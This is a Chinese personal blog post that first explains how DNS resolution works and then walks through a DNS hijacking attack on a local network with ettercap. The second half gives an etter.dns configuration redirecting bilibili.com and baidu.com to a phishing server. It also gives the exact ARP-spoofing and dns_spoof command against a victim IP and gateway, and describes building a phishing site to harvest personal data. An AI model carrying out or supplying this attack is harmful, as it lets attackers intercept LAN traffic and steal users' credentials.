alittlemc,个人原创,个人理解和观点。若有错误、不理解请与我联系,谢谢!
- 介绍了DNS的解析过程。
- DNS劫持的思路和实践。
DNS
域名
以为live.bilibili.com为例子,从后到前依次为顶级(一级)域名com、二级域名bilibili,三级域名live。www是特殊的标示代表主机,有一些域名再长点,就继续四级域名、五级域名加下去。
- 其实在顶级域名后还有一个根域写作.(英文句号),www.bilibili.com.
- 顶级域名一般代表具有一定性质的网站,com商业、cn中国、gov政府机构等等
- 二级域名代表具体的网页名称所以主体
- 三级域名就是更细的划分,比如teiba.baidu.com
- www是个特殊代表主机
DNS概述
DNS(Domain Name System,域名系统),DNS简单来说就是已知域名求IP的服务。在TCP/IP协议下的网络中,设备之间通信都是用网络层的IP作目标标识的,但是访问网页我们往往通过域名来访问,比如bilibili对应的IP解析为119.3.70.188,https://bilibili.com比如https://119.3.70.188都可以打开bilibili站点,但是IP地址不是每个人都能很好的记忆的,更何况将来如果IPv6广泛应用了(如图1所示),所以是DNS一项很重要的技术。
图1.www.bilibili.com解析出的IPv6地址
DNS服务在提供域名解析额同时,还为服务器提供负载均衡,IP优化域名优化的效果。
- DNS一条域名可以解析出多条IP结果,这些IP对应提供相同的服务但是位置不同的服务器,将不同的IP返回给用户,不至于让某台服务器压力太大。
- 有一些高级的DNS服务器会客户的运营商提供较优的IP,比如在广西访问广东的IP往往比访问北京的来得更快些。
图2.bilibili.com全部解析结果
DNS解析过程
DNS一开始本机会“先求人不如求己”,先查询本机DNS存放在内存中缓存(这缓存几个小时后清除),本机hosts文件。实在是没有才会向本机设置的DNS Server发起请求,本机的DNS Server为阿里的223.5.5.5。
DNS使用UDP:53端口(当然也可以使用TCP:53,在较大请求和返回数据的情况下使用,因为UDP报文最大576字节且后续报文不分片直接丢弃。所以减去UDP报头,DNS报文数据限制在512字节内)。UDP的报文很干净,一来一回也不需要握手。
- 在终端输入NSLOOKUP查询一下www.bilibili.com,并且抓包:
图3.本机192.168.4.1与DNS Server 223.5.5.5的请求过程
DNS Server接受到任务后会查询DNS数据库的,当然“人非圣贤孰能无过”,DNS Server也会查询不到IP,会再向上游DNS Server发起请求:
- 递归查询:不知道就问上一级(PC请求Server1时候也属于递归查询)
- 迭代查询:不知道认识的都问一遍
图4.本机192.168.4.1与DNS Server 223.5.5.5的请求过程
DNS查询记录
DNS有不同的记录:
- A 记录
- 域名解析IPv4地址
- AAAA 记录
- 和A 记录类似,域名解析IPv6 地址
- PTR记录
- IP解析域名,即反向解析,比如nslookup输入server 223.5.5.5反向解析出了public1.alidns.com
图5.反向解析
- CNAME 记录
- CNAME 记录另一个别名域,
图6.a.w.bilibili.com和www.bilibili.com相同
其他的记录还有:SOA 记录还有、MX记录、NS记录、TXT记录、SRV记录、APL记录、CAA记录、DNAME记录 等等。太多啦,不在本次的讨论范围啦。
基于ettercap实现DNS劫持
完成思路
温馨提示:DNS劫持是违法的,请不要以身试法(一般情况我们称黑客 为小黑子香精捞饭)
- 搭建假的DNS Server提供可以自定义DNS解析条件,基于ettrcap使用自带的/etc/ettercap/etter.dns。
- 搭建假的钓鱼网站,其IP由假的DNS服务器提供,当然也可以搭建某些中转的网站,比如某个编写了恶意脚本的站点,用户打开后GET 其URL,再执行脚本后跳转。(相比于近似发,taobao.com和ta0ba0.com,DNS可以让正确的域名对于错误的站点,更隐蔽)
- 部署站点:
- ettercap的基于可arp来实现的,所以只在局域网中使用,用于。
- 钓鱼网站站点可以搭建在局域网内也可以搭建在公网中,具体内容和作用嘛,其实应该有看见过,用于盗取一些个人信息;配置使用nginx、apache作为中间价,PHP之类作为解析(或者静态的html,post到动态PHP界面)
- 使用ettercap发起攻击
ettercap的使用
ettercap是基于ARP 地址欺骗来实现中间人攻击的工具。
可恶我的kali截图丢了,后面我会补上。
一般情况下完整版的Kali是自带甚至有图形界面,
- github:https://github.com/Ettercap/ettercap
- 官网:Downloads « Ettercap (ettercap-project.org)
编辑(假DNS请求)/etc/ettercap/etter.dns
# 域名 A 钓鱼网站IP # 比如 # 正向A www.bilibili.com A 10.100.10.4 www.baidu.com A 10.100.10.4 # 反向PRT www.bilibili.com PRT 10.100.10.4 www.baidu.com PRT 10.100.10.4
发起攻击过程
# 查看网关 网卡等 root @ localhost in ~ [21:54:10] C:1$ sudo route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 10.100.10.1 0.0.0.0 255.255.255.192 U 0 0 0 wlan0
---
ettercap -i wlan0 -Tq -M arp:remote -P dns_spoof /被攻击者ip// /被攻击者网关// -i <网卡>:指定网卡 -T:只显示文本 -q:安静模式,不显示抓到的数据包内容 -M <攻击方式>:执行中间人攻击,这里的arp:remote为arp欺骗 -P <插件名>:使用的插件,这里使用dns_spoof即可dns欺骗插件
ettercap -i wlan0 -Tq -M arp:remote -P dns_spoof /10.100.10.120// /10.100.10.1//
--
今天先写这么多啦,好困啊,今天早点休息吧。